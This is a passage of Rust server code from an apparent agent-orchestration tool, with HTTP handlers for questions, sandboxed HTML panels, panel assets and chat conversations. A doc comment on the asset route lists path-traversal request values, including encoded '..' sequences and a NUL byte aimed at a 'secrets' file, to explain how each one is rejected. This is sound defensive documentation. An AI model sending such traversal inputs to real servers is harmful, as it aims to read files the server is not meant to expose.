8146        let (tasks, talks, watches) =
8147            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8148        Ok(Json(
8149            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8150        ))
8151    })
8152    .await
8153}
8154
8155/// A dedicated status avoids the client's settled-question 409 handling.
8156fn question_text_error(e: anyhow::Error) -> ApiError {
8157    let reason = e
8158        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8159        .map(|e| e.reason);
8160    let error = ApiError::bad_request_from(e);
8161    if let Some(reason) = reason {
8162        ApiError {
8163            text_reason: Some(reason),
8164            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8165        }
8166    } else {
8167        error
8168    }
8169}
8170
8171/// The body of `POST /api/questions/{id}/say`.
8172#[derive(Debug, Deserialize)]
8173#[serde(deny_unknown_fields)]
8174struct NewSay {
8175    body: String,
8176}
8177
8178/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8179///
8180/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8181/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8182/// file, so there is no turn to serialize against and no
8183/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8184/// is a *different* process - the run parked behind `magi ask` - and picks
8185/// the reply up on its own poll of the very same file, same as an answer
8186/// does.
8187async fn question_say(
8188    State(ui): State<Arc<Ui>>,
8189    Path(id): Path<String>,
8190    body: std::result::Result<Json<NewSay>, JsonRejection>,
8191) -> ApiResult<Json<QuestionView>> {
8192    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8193    blocking(move || {
8194        let id = resolve_question(&ui.questions, &id)?;
8195        let q = ui
8196            .questions
8197            .get(&id)
8198            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8199        if !q.status.open() {
8200            // Same granularity as `question_answer`: answered or abandoned in
8201            // between the list and the tap is not this route's error to
8202            // explain any differently.
8203            return Err(ApiError::conflict(format!(
8204                "question {} is already {}",
8205                q.short(),
8206                q.status.as_str()
8207            )));
8208        }
8209        // `Question::say` owns the one rule that matters here - an empty
8210        // message tells the agent nothing - so the route does not restate it.
8211        let cfg = deputy_config(&ui.repo);
8212        let (q, ()) = ui
8213            .questions
8214            .update(&q.id, |r| {
8215                if body.body.trim().is_empty() {
8216                    return r.say(body.body);
8217                }
8218                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8219                r.say(body.body)
8220            })
8221            .map_err(question_text_error)?;
8222        let (tasks, talks, watches) =
8223            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8224        Ok(Json(
8225            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8226        ))
8227    })
8228    .await
8229}
8230
8231/// A disconnected request or a replacing listener cannot interrupt the short
8232/// transaction between persistence and detached worker publication.
8233async fn admitted<T: Send + 'static>(
8234    admission: AdmissionGuard,
8235    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8236) -> ApiResult<T> {
8237    tokio::spawn(async move {
8238        let result = work.await;
8239        drop(admission);
8240        result
8241    })
8242    .await
8243    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8244}
8245
8246/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8247/// came from. The question stays open: the chat agent answers it with `magi
8248/// answer`, or puts the decision to the owner in the conversation.
8249///
8250/// Answers 202 and runs the turn in the background, like every route that
8251/// spends agent calls. The text is queued as a draft of the existing talk, and
8252/// the turn goes through the talk's own gate and session; no seat or waiter is
8253/// started here.
8254async fn question_consult(
8255    State(ui): State<Arc<Ui>>,
8256    Path(id): Path<String>,
8257) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8258    let admission = ui.begin_admission()?;
8259    admitted(admission, async move {
8260        let (q, tasks, talks, watches, talk, cfg) = blocking({
8261            let ui = Arc::clone(&ui);
8262            move || {
8263                let id = resolve_question(&ui.questions, &id)?;
8264                let q = ui.questions.get(&id).map_err(|e| {
8265                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8266                })?;
8267                if !q.status.open() {
8268                    return Err(ApiError::conflict(format!(
8269                        "question {} is already {}",
8270                        q.short(),
8271                        q.status.as_str()
8272                    )));
8273                }
8274                let (tasks, talks, watches) =
8275                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8276                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8277                    return Err(ApiError::conflict(format!(
8278                        "question {} has no chat to ask",
8279                        q.short()
8280                    )));
8281                };
8282                // Read the config before `begin` saves anything: a failure here
8283                // must leave no consult record or draft behind, or a retry would
8284                // see `fresh == false` and never start the turn.
8285                let cfg = if q.consult.is_none() {
8286                    Some(Config::discover(&talk.repo, None)?.0)
8287                } else {
8288                    None
8289                };
8290                Ok((q, tasks, talks, watches, talk, cfg))
8291            }
8292        })
8293        .await?;
8294        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8295            .await
8296            .map_err(ApiError::from)?;
8297        let (view, reclaimed, submitted) = blocking({
8298            let ui = Arc::clone(&ui);
8299            move || {
8300                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8301                let claim = if fresh {
8302                    match ui.begin_queued_talk_turn(&talk.id)? {
8303                        Some(turn_guard) => {
8304                            let talk = ui.talks.get(&talk.id)?;
8305                            let cfg = match cfg {
8306                                Some(cfg) => cfg,
8307                                None => Config::discover(&talk.repo, None)?.0,
8308                            };
8309                            Some((talk, cfg, turn_guard))
8310                        }
8311                        None => None,
8312                    }
8313                } else {
8314                    None
8315                };
8316                let q = ui.questions.get(&q.id)?;
8317                let cfg = deputy_config(&ui.repo);
8318                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8319                    .with_origin(&tasks, &talks, &watches);
8320                Ok((view, claim, fresh.then_some(talk.id)))
8321            }
8322        })
8323        .await?;
8324        #[cfg(not(test))]
8325        {
8326            if let Some(id) = submitted {
8327                crate::consult::spawn_turn(&ui.talks, &id)
8328                    .await
8329                    .map_err(ApiError::from)?;
8330            }
8331            drop(reclaimed);
8332        }
8333        #[cfg(test)]
8334        let _ = submitted;
8335        #[cfg(test)]
8336        if let Some((talk, cfg, turn_guard)) = reclaimed {
8337            let talks = ui.talks.clone();
8338            let id = talk.id.clone();
8339            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8340        }
8341        Ok((StatusCode::ACCEPTED, Json(view)))
8342    })
8343    .await
8344}
8345
8346/// Expand an id or short id to exactly one question id.
8347fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8348    if plain_record_id(id) && store.path_of(id).is_file() {
8349        return Ok(id.to_owned());
8350    }
8351    pick(
8352        store.list().into_iter().map(|q| q.id).collect(),
8353        id,
8354        "question",
8355    )
8356}
8357
8358/// `GET /api/questions/{id}/panel`.
8359///
8360/// The panel an agent wrote for this question, as `text/html` under
8361/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8362/// A question without one is a 404 rather than an empty page: the client
8363/// preflights this route with `HEAD` and must be able to tell "no panel" from
8364/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8365/// parent document so it cannot tell the difference by looking.
8366///
8367/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8368/// sanitises or minifies it - a sanitiser is a list of things someone thought
8369/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8370/// is the direction that stays safe when an agent writes markup nobody
8371/// predicted.
8372async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8373    blocking(move || {
8374        let id = resolve_question(&ui.questions, &id)?;
8375        let Some(html) = ui.questions.panel_html(&id) else {
8376            return Err(ApiError::not_found(format!("question {id} has no panel")));
8377        };
8378        Ok(panel_response(
8379            "text/html; charset=utf-8",
8380            false,
8381            html.into_bytes(),
8382        ))
8383    })
8384    .await
8385}
8386
8387/// `GET /api/questions/{id}/asset/{name}`.
8388///
8389/// One file from the question's own panel directory, so a panel can show a
8390/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8391/// having to allow anything off this machine.
8392///
8393/// This is the only route in the server where a client names a file, so it is
8394/// the only one with a traversal surface, and the name is checked by
8395/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8396/// what is worth being explicit about, because the answer is not "all of it in
8397/// one place":
8398///
8399/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8400///   the raw request path and `{name}` spans exactly one segment, so a real
8401///   slash makes the request too long for the route and the router answers 404.
8402/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8403///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8404///   `..\secrets` respectively, which look like plain filenames to the router.
8405///   The validator refuses them here - both for the literal `..` and because
8406///   `/` and `\` are not in the permitted character set - and answers 400.
8407/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8408///   the platform's path API is not, and it is refused here for the same
8409///   reason: NUL is not a permitted character.
8410/// * [`Questions::panel_asset`] validates again on read, so the check is not
8411///   load-bearing in only one place. This route's own check exists so the
8412///   failure is a 400 that says which name was wrong, rather than a store error
8413///   the operator has to interpret.
8414async fn question_asset(
8415    State(ui): State<Arc<Ui>>,
8416    Path((id, name)): Path<(String, String)>,
8417) -> ApiResult<Response> {
8418    // Before any filesystem work and before any path is built: a name this
8419    // server will not serve should not become a `PathBuf` at all.
8420    if !crate::ask::valid_asset_name(&name) {
8421        return Err(ApiError::bad_request(format!(
8422            "`{name}` is not a usable asset name"
8423        )));
8424    }
8425    blocking(move || {
8426        let id = resolve_question(&ui.questions, &id)?;
8427        let asset = ui
8428            .questions
8429            .panel_asset(&id, &name)
8430            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8431        let Some(bytes) = asset else {
8432            return Err(ApiError::not_found(format!(
8433                "question {id} has no asset `{name}`"
8434            )));
8435        };
8436        Ok(panel_response(
8437            asset_content_type(&name),
8438            is_svg(&name),
8439            bytes,
8440        ))
8441    })
8442    .await
8443}
8444
8445/// Content type for a panel asset, from a closed whitelist.
8446///
8447/// A whitelist with an `application/octet-stream` fallback rather than a
8448/// guess, because the one answer that must never come out of here is
8449/// `text/html`. An agent that writes `notes.html` into its panel directory and
8450/// links it would otherwise get its own markup rendered at the top level of the
8451/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8452/// magi's origin - which is precisely the thing the panel design exists to
8453/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8454///
8455/// `nosniff` accompanies this on every response, so a browser cannot decide it
8456/// knows better than the type we sent.
8457fn asset_content_type(name: &str) -> &'static str {
8458    match extension(name).as_deref() {
8459        Some("png") => "image/png",
8460        Some("jpg" | "jpeg") => "image/jpeg",
8461        Some("gif") => "image/gif",
8462        Some("webp") => "image/webp",
8463        Some("svg") => "image/svg+xml",
8464        Some("css") => "text/css; charset=utf-8",
8465        Some("txt") => "text/plain; charset=utf-8",
8466        _ => "application/octet-stream",
8467    }
8468}
8469
8470/// Is this an SVG, and therefore a file that must never be opened at the top
8471/// level?
8472fn is_svg(name: &str) -> bool {
8473    extension(name).as_deref() == Some("svg")
8474}
8475
8476/// Lowercased extension, or `None` for a name without one.
8477fn extension(name: &str) -> Option<String> {
8478    name.rsplit_once('.')
8479        .map(|(_, ext)| ext.to_ascii_lowercase())
8480}
8481
8482/// Every panel response, with the four headers that make it safe and, for an
8483/// SVG, a fifth.
8484///
8485/// One function rather than a header list per handler, because a panel route
8486/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8487/// model gone, silently, on one of two routes. Adding a third panel route later
8488/// means calling this, and there is nowhere else to build a panel response.
8489///
8490/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8491/// as an `<img src>` inside the panel that script cannot run - but the asset
8492/// URL is also a plain URL an operator can be talked into opening in a tab,
8493/// where it is a document on magi's own origin. `Content-Disposition:
8494/// attachment` makes the browser download it instead of rendering it, which
8495/// closes that door without taking away the ability to draw a diff. Raster
8496/// images have no such execution surface and are left inline, so tapping a
8497/// screenshot still shows it.
8498fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8499    let mut res = (
8500        [
8501            (header::CONTENT_TYPE, content_type),
8502            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8503            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8504            (header::REFERRER_POLICY, "no-referrer"),
8505        ],
8506        body,
8507    )
8508        .into_response();
8509    if download {
8510        res.headers_mut().insert(
8511            header::CONTENT_DISPOSITION,
8512            HeaderValue::from_static("attachment"),
8513        );
8514    }
8515    res
8516}
8517
8518/// A talk as the phone reads it.
8519///
8520/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8521/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8522/// parses markdown itself - and the process-local `thinking` hint.
8523#[derive(Debug, Serialize)]
8524struct ChatApproval {
8525    question: String,
8526    target: crate::merge_decision::Target,
8527}
8528
8529#[derive(Debug, Serialize)]
8530struct TalkView {
8531    #[serde(flatten)]
8532    talk: Talk,
8533    turn_bodies_md: Vec<Vec<md::Node>>,
8534    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8535    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8536    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8537    merge_approvals: Vec<ChatApproval>,
8538    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8539    /// this server process.
8540    ///
8541    /// This is deliberately not durable: another server process cannot see
8542    /// it, and a restarted server must not claim an old turn is live. It is a
8543    /// progress hint rather than proof a reply landed; the transcript remains
8544    /// the source of truth for that.
8545    thinking: bool,
8546    /// Context-window usage, derived per request - see
8547    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8548    /// and each mutation) so the phone needs no extra call or polling.
8549    context: talk::ContextUsage,
8550    /// `[talk] operator_name`, when configured; the Chat labels the
8551    /// operator's turns with it.
8552    operator_name: Option<String>,
8553    /// The active persona's display name; `None` for the default voice.
8554    persona_name: Option<String>,
8555    /// URL of the avatar for the conversation's persona (the default voice
8556    /// included). Server-built; a configured `icon` never reaches the client.
8557    persona_avatar: String,
8558    /// Operator avatar; display only and independent of repository config.
8559    operator_avatar: String,
8560    magi_avatar: String,
8561}
8562
8563impl TalkView {
8564    /// Reads the talk's repository config itself; a config that cannot be
8565    /// read leaves the window unknown but never fails the conversation.
8566    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8567        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8568        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8569    }
8570
8571    /// As [`Self::new`], with the config already in hand (the list reads one
8572    /// per repository, not one per conversation).
8573    fn with_config(
8574        talk: Talk,
8575        thinking: bool,
8576        cfg: Option<&Config>,
8577        home: &FsPath,
8578        cache: &id_links::IndexCache,
8579    ) -> Self {
8580        let references = cache.for_talk(home, &talk);
8581        Self::with_references(talk, thinking, cfg, home, &references)
8582    }
8583
8584    fn with_references(
8585        mut talk: Talk,
8586        thinking: bool,
8587        cfg: Option<&Config>,
8588        home: &FsPath,
8589        references: &id_links::IdIndex,
8590    ) -> Self {
8591        // This owned value is the display DTO; never write it back to the talk store.
8592        let snapshot = talk.clone();
8593        for (index, turn) in talk.turns.iter_mut().enumerate() {
8594            let original = &snapshot.turns[index];
8595            if turn.messages.is_empty() {
8596                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8597                    turn.messages.push(talk::Message {
8598                        sender: Some(talk::Sender::Magi),
8599                        body: original.body.clone(),
8600                        display: Some(display),
8601                        attachments: original.attachments.clone(),
8602                        reply: None,
8603                    });
8604                }
8605            } else {
8606                for (i, message) in turn.messages.iter_mut().enumerate() {
8607                    message.display =
8608                        talk::notice_display(&snapshot, original, original.messages.get(i));
8609                    if message.display.is_some() {
8610                        message.sender = Some(talk::Sender::Magi);
8611                    }
8612                }
8613            }
8614        }
8615        for message in &mut talk.pending_messages {
8616            if message.display.is_none()
8617                && (message.sender == Some(talk::Sender::Magi)
8618                    || snapshot
8619                        .completion_notices
8620                        .iter()
8621                        .any(|r| r.notice == message.body))
8622            {
8623                message.display = crate::prompt::legacy_notice_display(&message.body);
8624                if message.display.is_some() {
8625                    message.sender = Some(talk::Sender::Magi);
8626                }
8627            }
8628        }
8629        if talk.pending_messages.is_empty()
8630            && snapshot
8631                .completion_notices
8632                .iter()
8633                .any(|r| r.notice == talk.pending)
8634            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8635        {
8636            talk.pending_messages.push(talk::Message {
8637                sender: Some(talk::Sender::Magi),
8638                display: Some(display),
8639                body: talk.pending.clone(),
8640                attachments: talk.pending_attachments.clone(),
8641                reply: None,
8642            });
8643        }
8644        let excerpts: Vec<Vec<Option<String>>> = talk
8645            .turns
8646            .iter()
8647            .map(|turn| {
8648                turn.messages
8649                    .iter()
8650                    .map(|m| {
8651                        m.display
8652                            .as_ref()
8653                            .map(|d| d.facts.chars().take(240).collect())
8654                    })
8655                    .collect()
8656            })
8657            .collect();
8658        for turn in &mut talk.turns {
8659            let provenance = talk::sender(turn, None);
8660            turn.sender = Some(provenance);
8661            for message in &mut turn.messages {
8662                message.sender = Some(message.sender.unwrap_or(provenance));
8663            }
8664        }
8665        // Old reply snapshots have only a role; recover provenance from their target.
8666        let senders: Vec<Vec<talk::Sender>> = talk
8667            .turns
8668            .iter()
8669            .map(|turn| {
8670                if turn.messages.is_empty() {
8671                    vec![talk::sender(turn, None)]
8672                } else {
8673                    turn.messages
8674                        .iter()
8675                        .map(|m| talk::sender(turn, Some(m)))
8676                        .collect()
8677                }
8678            })
8679            .collect();
8680        for reply in talk
8681            .turns
8682            .iter_mut()
8683            .flat_map(|t| t.messages.iter_mut())
8684            .chain(talk.pending_messages.iter_mut())
8685            .filter_map(|m| m.reply.as_mut())
8686        {
8687            if let Some(Some(excerpt)) = excerpts
8688                .get(reply.target.turn)
8689                .and_then(|ms| ms.get(reply.target.message))
8690            {
8691                reply.excerpt = excerpt.clone();
8692                reply.sender = Some(talk::Sender::Magi);
8693            }
8694            if reply.sender.is_none() {
8695                reply.sender = senders
8696                    .get(reply.target.turn)
8697                    .and_then(|messages| messages.get(reply.target.message))
8698                    .copied();
8699            }
8700        }
8701        let context = talk::context_usage(&talk, cfg);
8702        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8703            .turns
8704            .iter()
8705            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8706            .collect();
8707        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8708            .turns
8709            .iter()
8710            .map(|turn| {
8711                if turn.messages.is_empty() {
8712                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8713                } else {
8714                    turn.messages
8715                        .iter()
8716                        .map(|message| {
8717                            notice_markdown(
8718                                message.sender.unwrap_or(talk::Sender::Operator),
8719                                &message.body,
8720                                message.display.as_ref(),
8721                            )
8722                        })
8723                        .collect()
8724                }
8725            })
8726            .collect();
8727        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8728            .pending_messages
8729            .iter()
8730            .map(|message| {
8731                notice_markdown(
8732                    message.sender.unwrap_or(talk::Sender::Operator),
8733                    &message.body,
8734                    message.display.as_ref(),
8735                )
8736            })
8737            .collect();
8738        for nodes in &mut turn_bodies_md {
8739            references.markdown(nodes);
8740        }
8741        for nodes in turn_messages_md
8742            .iter_mut()
8743            .flatten()
8744            .chain(pending_messages_md.iter_mut())
8745            .flatten()
8746        {
8747            references.markdown(nodes);
8748        }
8749        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8750        let persona_name = persona::find(specs, &talk.persona)
8751            .filter(|p| !p.is_default())
8752            .map(|p| p.name);
8753        let mut avatar_persona = persona::find(specs, &talk.persona)
8754            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8755        // A removed configured persona may still have an override and old talks.
8756        if avatar_persona.id != talk.persona
8757            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8758        {
8759            avatar_persona.id.clone_from(&talk.persona);
8760            avatar_persona.icon = None;
8761        }
8762        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8763        let approvals_store = ask::Questions::at(home.join("questions"));
8764        let merge_approvals = talk
8765            .notified
8766            .iter()
8767            .filter_map(|key| key.strip_prefix("question:"))
8768            .filter_map(|id| approvals_store.get(id).ok())
8769            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8770            .filter_map(|q| {
8771                Some(ChatApproval {
8772                    question: q.id,
8773                    target: q.merge_target?,
8774                })
8775            })
8776            .collect();
8777        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8778        Self {
8779            turn_bodies_md,
8780            turn_messages_md,
8781            pending_messages_md,
8782            merge_approvals,
8783            thinking,
8784            context,
8785            operator_name,
8786            persona_name,
8787            persona_avatar,
8788            magi_avatar: magi_icon_url(home),
8789            operator_avatar: operator_icon_url(home),
8790            talk,
8791        }
8792    }
8793}
8794
8795/// Parse only the user-facing representation of an explicitly identified MAGI send.
8796fn notice_markdown(
8797    sender: talk::Sender,
8798    body: &str,
8799    display: Option<&crate::prompt::NoticeDisplay>,
8800) -> Option<Vec<md::Node>> {
8801    if sender != talk::Sender::Magi {
8802        return None;
8803    }
8804    let text = if let Some(display) = display {
8805        display.facts.as_str()
8806    } else {
8807        // Unknown completion templates may contain internal directives. Never
8808        // promote their agent input to the Markdown display surface.
8809        if crate::prompt::is_completion_notice(body)
8810            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8811        {
8812            return None;
8813        }
8814        body.strip_prefix("magi: ").unwrap_or(body)
8815    };
8816    Some(md::to_nodes(text, &md::ImageBase::None))
8817}
8818
8819/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8820/// conversation has filed, so the phone can follow one from inside the
8821/// conversation that asked for it rather than hunting the Queue for a task id
8822/// it may not remember.
8823#[derive(Debug, Serialize)]
8824struct TalkDetailView {
8825    #[serde(flatten)]
8826    view: TalkView,
8827    tasks: Vec<TaskView>,
8828    task_progress: TalkTaskProgress,
8829    /// The agents this talk's repository can switch to; empty when its
8830    /// configuration cannot be read, which must not fail the whole detail.
8831    roster: Vec<RosterEntry>,
8832    /// The personas the conversation can pick from. The built-ins are always
8833    /// listed, even when the repository's configuration cannot be read.
8834    personas: Vec<PersonaEntry>,
8835}
8836
8837/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8838#[derive(Debug, Serialize)]
8839struct TalkTaskProgress {
8840    state: &'static str,
8841    total: usize,
8842    done: usize,
8843    counts: std::collections::BTreeMap<&'static str, usize>,
8844    unfinished_ids: Vec<String>,
8845}
8846
8847fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8848    let mut counts = std::collections::BTreeMap::from([
8849        ("queued", 0),
8850        ("running", 0),
8851        ("done", 0),
8852        ("failed", 0),
8853        ("held", 0),
8854        ("blocked", 0),
8855        ("parked", 0),
8856    ]);
8857    let mut unfinished_ids = Vec::new();
8858    for task in tasks {
8859        *counts.entry(task.status.as_str()).or_default() += 1;
8860        if task.status != TaskStatus::Done {
8861            unfinished_ids.push(task.id.clone());
8862        }
8863    }
8864    TalkTaskProgress {
8865        state: if tasks.is_empty() {
8866            "none"
8867        } else if unfinished_ids.is_empty() {
8868            "complete"
8869        } else {
8870            "incomplete"
8871        },
8872        total: tasks.len(),
8873        done: tasks.len() - unfinished_ids.len(),
8874        counts,
8875        unfinished_ids,
8876    }
8877}
8878
8879/// One persona as the talk's persona selector shows it.
8880#[derive(Debug, Serialize)]
8881struct PersonaEntry {
8882    id: String,
8883    name: String,
8884    /// Avatar URL, see [`TalkView::persona_avatar`].
8885    avatar: String,
8886}
8887
8888/// One roster agent as the talk's agent selector shows it.
8889#[derive(Debug, Serialize)]
8890struct RosterEntry {
8891    id: String,
8892    kind: AgentKind,
8893    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8894    runnable: bool,
8895}
8896
8897/// Bounded summaries; `/page` carries a cursor for older membership.
8898async fn talks_list(
8899    State(ui): State<Arc<Ui>>,
8900    Query(q): Query<ListQuery>,
8901    headers: header::HeaderMap,
8902) -> ApiResult<Json<Vec<TalkListView>>> {
8903    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8904        let limit = q.limit.unwrap_or(50).min(50);
8905        let ids = if let Some(ids) = q.ids {
8906            ids.split(',')
8907                .filter(|id| plain_record_id(id))
8908                .take(limit)
8909                .map(str::to_owned)
8910                .collect()
8911        } else {
8912            page_ids(&ui, true, PageQuery::default())?
8913                .0
8914                .into_iter()
8915                .take(limit.min(STORE_PAGE_SIZE))
8916                .collect()
8917        };
8918        Ok(Json(talk_rows(&ui, ids, &headers)))
8919    })
8920    .await
8921}
8922
8923/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8924/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8925/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8926/// end still opens a talk against an older binary.
8927#[derive(Debug, Default, Deserialize)]
8928#[serde(default)]
8929struct NewTalk {
8930    agent: Option<String>,
8931    repo: Option<PathBuf>,
8932    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8933    /// wrong type is dropped like a stale value instead of failing the request;
8934    /// each falls back to its default on its own (see [`talk::begin_with`]).
8935    preferred_agent: Option<serde_json::Value>,
8936    persona: Option<serde_json::Value>,
8937    implementers: Option<serde_json::Value>,
8938}
8939
8940/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8941/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8942async fn talk_post(
8943    State(ui): State<Arc<Ui>>,
8944    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8945) -> ApiResult<impl IntoResponse> {
8946    // An absent body, or an empty one, is the normal way to open a talk - see
8947    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8948    // rather than refused.
8949    let body = match body {
8950        Ok(Json(body)) => body,
8951        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8952        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8953    };
8954    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8955    let cfg = config_for(&repo).await?;
8956    let view = blocking(move || {
8957        let preferred = talk::Preferred {
8958            agent: body
8959                .preferred_agent
8960                .as_ref()
8961                .and_then(|v| v.as_str())
8962                .map(str::to_owned),
8963            persona: body
8964                .persona
8965                .as_ref()
8966                .and_then(|v| v.as_str())
8967                .map(str::to_owned),
8968            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8969        };
8970        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8971        let thinking = ui.is_thinking(&talk.id);
8972        Ok(TalkView::new(talk, thinking, &ui))
8973    })
8974    .await?;
8975    Ok((StatusCode::CREATED, Json(view)))
8976}
8977
8978/// Transcript first: unrelated queue history and repository probes are deferred.
8979async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8980    // Keep transcript reads independent of sections and the runtime blocking pool.
8981    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
8982        let id = resolve_talk(&ui.talks, &id)?;
8983        let talk = ui.talks.get(&id)?;
8984        let thinking = ui.is_thinking_observed(&id);
8985        // The browser already resolves Markdown text/code references after
8986        // rendering. A cold reference/review index must not gate the transcript.
8987        Ok(Json(TalkView::with_references(
8988            talk,
8989            thinking,
8990            None,
8991            &ui.home,
8992            &id_links::IdIndex::default(),
8993        )))
8994    })
8995    .await
8996}
8997
8998async fn talk_sections(
8999    State(ui): State<Arc<Ui>>,
9000    Path(id): Path<String>,
9001) -> ApiResult<Json<serde_json::Value>> {
9002    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9003        let id = resolve_talk(&ui.talks, &id)?;
9004        let talk = ui.talks.get(&id)?;
9005        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9006        let task_progress = talk_task_progress(&tasks);
9007        let tasks: Vec<_> = tasks
9008            .into_iter()
9009            .map(|task| {
9010                serde_json::json!({
9011                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9012                })
9013            })
9014            .collect();
9015        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9016        let roster: Vec<_> = cfg
9017            .as_ref()
9018            .map(|cfg| {
9019                cfg.agents
9020                    .iter()
9021                    .map(|a| RosterEntry {
9022                        id: a.id.clone(),
9023                        kind: a.kind,
9024                        runnable: agent::installed(a),
9025                    })
9026                    .collect()
9027            })
9028            .unwrap_or_default();
9029        let specs = cfg
9030            .as_ref()
9031            .map(|cfg| cfg.talk.personas.clone())
9032            .unwrap_or_default();
9033        let personas: Vec<_> = persona::catalog(&specs)
9034            .into_iter()
9035            .map(|p| PersonaEntry {
9036                avatar: avatar_url(&ui.home, &talk.id, &p),
9037                id: p.id,
9038                name: p.name,
9039            })
9040            .collect();
9041        let active_persona = persona::find(&specs, &talk.persona)
9042            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9043        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9044        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9045        Ok(Json(serde_json::json!({
9046            "tasks": tasks, "task_progress": task_progress,
9047            "roster": roster, "personas": personas,
9048            "context": talk::context_usage(&talk, cfg.as_ref()),
9049            "context_for": talk.updated_at,
9050            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
